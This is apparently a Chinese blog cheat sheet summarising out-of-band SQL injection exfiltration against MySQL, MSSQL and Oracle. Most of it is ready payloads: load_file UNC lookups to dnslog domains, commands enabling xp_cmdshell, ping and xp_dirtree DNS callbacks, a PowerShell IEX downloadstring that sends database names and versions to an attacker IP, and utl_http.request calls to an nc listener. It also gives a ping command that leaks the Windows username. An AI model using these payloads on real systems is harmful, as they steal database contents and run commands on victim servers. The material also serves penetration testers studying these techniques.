首页 > 数据库 >SQL注入--数据外带(总结)

SQL注入--数据外带(总结)

时间:2023-04-25 17:44:13浏览次数:54  
标签:HTTP 外带 -- SQL xp id select

目录导航

  0x00 数据外带平台

  0x01 DNS外带

    MYSQL 数据外带     MSSQL 数据外带     Oracle 数据外带     命令外带

  0x02 HTTP外带

    MSSQL 数据外带

    Oracle 数据外带


0x00 数据外带平台

平台网址

平台简介

http://dnslog.cn/ 仅支持DNS数据外带
http://ceye.io/ 支持DNS和HTTP两种数据外带方式(推荐使用

0x01 DNS外带

MYSQL 数据外带

外带原理

  利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

  注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)

相关解释

  • UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

  • 利用内置函数load_file()来完成DNSLOG。

  • load_file() 不仅能够加载本地文件,同时也能对诸如www.test.com这样的URL发起请求。

  • load_file() 加载文件' ',是对' \ '的转义,load_file读取文件和windows读取文件调用的都是c的fopen()函数,而双斜杠表示网络资源路径,即UNC路径,于是发起了dns请求

MYSQL dnslog条件

  1.secure_file_priv 拥有读写权限

secure_file_priv = ""       # 可以读取磁盘目录
secure_file_priv = "D:\"    # 可以读取D盘文件
secure_file_priv = null     # load_file限制,不能加载文件

  2.在mysql 5.5.34 默认为空可以加载文件,之后的版本为NULL,不能加载文件

show global variables like 'secure%';  //查看是否有写限制

常用payload

#查看版本号
 ?id=1 union select 1,load_file(concat('\\\\',( select version()),'.2hlktd.dnslog.cn\\a')),3--+
 
 #查库名
 ?id=1 union select 1,load_file(concat('\\\\',( select database()),'.2hlktd.dnslog.cn\\a')),3--+
 
 #查表名
 select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
 
 #查列名
 select load_file(concat('\\\\',( select column_name from information_schema.columns where table_schema = 'mysql' and table_name = 'users' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
 
 #查数据
 select load_file(concat('\\\\',( select id from mysql.user limit 0,1),'.2hlktd.dnslog.cn\\a'))--+

注意事项

  • 有些时候数据库字段的值可能是有特殊符号的,由于域名有一定规范,有些特殊符号是不能带入,这些特殊符号拼接在域名里是无法做dns查询的。可以用hex编码 将含特殊符号的数据外带出

  • char(ascii(database())) 编码绕过

MSSQL 数据外带

外带原理

  利用MSSQL中的xp_cmdshell存储过程执行ping命令或直接拼接DNS平台域名,发出DNS请求,再通过DNS平台查询DNS记录获取查询的数据

MSSQL dnslog条件

  1.开启xp_cmdshell功能

?id=1; EXEC sp_configure 'show advanced options',1;-- 
?id=1; RECONFIGURE;-- 
?id=1; EXEC sp_configure 'xp_cmdshell',1;-- 
?id=1; RECONFIGURE;-- 

  2.验证xp_cmdshell功能

?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'-- 

常用payload

  查库名

?id=1;DECLARE @a varchar(1024);set @a=db_name();exec('master..xp_cmdshell "ping -n 2 ' %2b @a  %2b'.2hlktd.dnslog.cn"')-- 
?id=2;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2B@a%2B'.leitu0.log.saltor.icu\\a" ');     
#注:其他方式xp_subdirs xp_dirtree xp_fileexist

Oracle 数据外带

外带原理

  Oracle的带外注入和 DNSLOG很相似,需要使用网络请求的函数 进行注入利用

相关函数

  • utl_inaddr.get_host_address() 函数

  • SYS.DBMS_LDAP.INIT() 函数

常用payload

  查当前用户名

and (select utl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --

    注意:|| 转码%7C%7C 

命令外带

  Windows系统查看当前账户名

ping %USERNAME%.bbn3un.ceye.io

0x02 HTTP外带

MSSQL 数据外带

外带原理

  利用MSSQL中的xp_cmdshell存储过程 和powershell发出HTTP请求,再通过监听IP:端口 记录或外带平台查看返回数据

MSSQL HTTP外带条件

  1.开启xp_cmdshell功能

?id=1; EXEC sp_configure 'show advanced options',1;-- 
?id=1; RECONFIGURE;-- 
?id=1; EXEC sp_configure 'xp_cmdshell',1;-- 
?id=1; RECONFIGURE;-- 

  2.验证xp_cmdshell功能

?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'-- 

常用payload

  查库名和版本

?id=1'; DECLARE @a varchar(8000);SET @a=db_name();exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?data='%2b @a %2b''')"' ) --
?id=1'; DECLARE @okma VARCHAR(8000);SET @okma=(SELECT TOP 1 substring(@@version,1,35));exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:7777/?data='%2b @okma %2b''')"' ) --

Oracle 数据外带

外带原理

  利用内置函数utl_http.request() 发起HTTP请求,然后通过监听IP:端口 记录或外带平台查看返回数据

相关函数

  • utl_http.request()函数**

    • 函数说明 :在Oracle中提供了utlhttprequest函数,用于取得web服务器的请求信息,因此,攻击者可以自己监听端口,然后通过这个函数用请求将需要的数据发送反弹回头

    • UTL_HTTP包介绍 :提供了对HTTP的一些操作。

    • 举例 :执行这条SQL语句,将返回 baidu. com的HTML源码

select UTL_HTTP.REQUEST('[http://www.baidu.com'](http://www.baidu.com))from dual

带外注入过程

  1.判断 UTL_HTTP存储过程是否可用

    在注入点提交如下查询:

select count(*) from allobjects where object name='UTL_HTTP'

    通过页面回显判断UTL_HTTP是否可用,如果页面返回正常,则说明UTL_HTTP存储过程可用

  2.使用NC监听数据

    • 在本地用nc监听一个端口,要求本地主机拥有一个外网的ip地址

    • nc-lvvp监听端口

  3.反弹数据信息

    在注入点提交:

and UTL_HTTP.request('[http://ip](http://ip):监听端口/'||(查询语句)=1--

    即可实现注入攻击

  注意:每次在注入点提交一次请求,nc监听完后就会断开,需要重新启动nc监听

常用payload

#判断utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual-- 

#查询数据库版本指纹
and utl_http.request('http://172.16.12.172:8888/'%7C%7C'~'%7C%7C(select banner from sys.v_$version where rownum=1))=1--

#查当前用户名
id=1 and UTL_HTTP.request('http://ip:监听端口/'||(select user from dual)=1--
id=1 and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --  //注意||转码%7C%7C

#注意:|| 转码%7C%7C

   注意:|| 转码%7C%7C

 

标签:HTTP,外带,--,SQL,xp,id,select
From: https://www.cnblogs.com/hkgan/p/17353364.html

相关文章

  • SunnyUI的Button支持换行
    最近在使用SunnyUI的控件写东西,遇到非常难受的问题,Button不支持换行,下载了SunnyUI源码,修改内容如下   找到UIButton代码新增重写privatestring_text;//重写Text属性[Editor("System.ComponentModel.Design.MultilineStringEditor,System.D......
  • go语言入门
    go语言入门go简介go语言,golang,是谷歌公司开发的,是编译型语言。编译型语言,需要将go代码编译成可执行文件,然后就可以在相应的系统上跑了,而开发环境中,我们需要下载gosdk,这个是go管理代码资源的工具,我们可以通过gobuild命令来编译go代码,gorun来编译+运行go代码(编译的代码即用即......
  • 您有一份直播回放待查收!
    在各位伙伴们的积极参与下,这次社区版重启直播顺利结束。再次感谢大家对CloudQuery的支持和关注!本文将回顾直播内容、整合用户问题、发布获奖名单,为此次活动画上句点。01直播回顾●社区版的发展历程、重启升级●1.5全新社区版理念●1.5版本新功能展示●社区版后续展望......
  • 在Linux上安装redis7
    1.检测虚拟机环境1.1bit检测命令:getconfLONG_BIT(建议使用64bit做开发)1.2gcc环境检测:gcc-v如果不具备gcc环境,则使用yum-yinstallgcc-c++命令进行c++环境的安装2.开始安装2.1下载redis:进入官网找到下载地址https://redis.io/download我下载的是7.0.11版本,属于稳......
  • Java方法的返回值及注意事项
    方法的返回值为什么要有带返回值的方法呢?调用处拿到方法的结果之后,才能根据结果进行下一步操作带返回值方法的定义和调用:如果在调用处,要根据方法的结果去编写另一段代码逻辑为了在调用处拿到方法产生的结果,就需要定义带有返回值的方法1.带返回值方法定义的格式:public......
  • 基于java8构建Java项目
    需求:基于java:8-alpine镜像,将一个Java项目构建为镜像 实现思路如下:①新建一个空的目录(本例中为docker-demo-alpine)②拷贝docker-demo.jar到这个目录中,docker-demo.jar是一个简单JavaWeb项目打包成的jar文件。 ③编写Dockerfile文件在上面新建的目录中新建一个文件,命......
  • Ubuntu 修改时区方法
    一、查看时区date-RTue,25Apr202309:21:03+0000+0000表示第0时区,需要改成第八时区。+0800表示第八时区,也就是我们的使用时区。 二、输入命令sudotzselect1、选择:亚洲Asia2、选择:中国China3、选择:北京时间BeijingTime4、确认验证:yes 三、复制文件到......
  • 多线程批量解压
    importthreadingimporttimeimportosimporttarfileinput_path=r"D:\jieyaqian"out=r'D:\jieyahou'classs=os.listdir(input_path)defrepress(folder,input_path,out):print(1,folder)ori_tif=os.path.join(input_......
  • ligerLayout布局(左右分栏)
    场景需求:左边框框用来放树菜单,右边就是点击菜单后显示的内容js$(function(){$("#layoutMain").ligerLayout({topHeight:80,leftWidth:180,height:'100%'});}); html<divid="layoutMain"style="wi......
  • Eclipse用【 Runnable JAR file】方式打jar包,并用该jar包进行二次开发
     转发:https://www.cnblogs.com/zhangchao0515/p/9520827.html 2.eclipse用Export的RunnableJARfile方式打jar包(带jar包的)右键该项目选择Export,弹出的对话框,选择Java中的RunnableJARFile点击next    Launchconfiguration  选择jar包默认运行的主类(包含main方......